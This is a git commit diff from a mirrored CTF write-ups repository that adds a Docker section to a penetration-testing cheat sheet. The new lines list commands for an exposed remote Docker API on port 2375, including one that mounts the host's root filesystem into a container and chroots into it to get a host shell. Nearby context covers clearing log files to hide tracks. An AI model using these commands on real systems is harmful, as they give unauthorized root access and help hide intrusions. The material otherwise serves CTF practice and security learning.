mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
c851c48df5
commit
9a83a44120
1 changed files with 10 additions and 2 deletions
|
@ -344,6 +344,7 @@ Or you can add in system wide contab (nano /etc/crontab)
|
|||
* quser
|
||||
* logoff id|user_name
|
||||
|
||||
|
||||
# Covering Track
|
||||
11.11. Covering our Tracks
|
||||
|
||||
|
@ -363,8 +364,15 @@ On Debian and Ubuntu, the majority of these are left within the "/var/log direct
|
|||
/var/log/apache2/access.log
|
||||
<img src="https://imgur.com/y8Rin3h.png/>
|
||||
|
||||
|
||||
|
||||
# Docker
|
||||
To see list of conatiner/images on a remote machine <br/>
|
||||
`docker -H <ip>:2375 images`
|
||||
To see list of currently running images/conatiner on a remote machine <br/>
|
||||
`docker -H <ip>:2375 ps -a `<br/>
|
||||
To start a container from a remote machine <br/>
|
||||
`docker -H <ip>:2375 exec -it <container-id> /bin/sh`<br/>
|
||||
To start a container from a remote machine using name and tags<br/>
|
||||
`docker -H <ip>:2375 run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh`<br/>
|
||||
# Miscellaneous
|
||||
|
||||
## Turning off xfce beeping sound
|
||||
|
|
Loading…
Reference in a new issue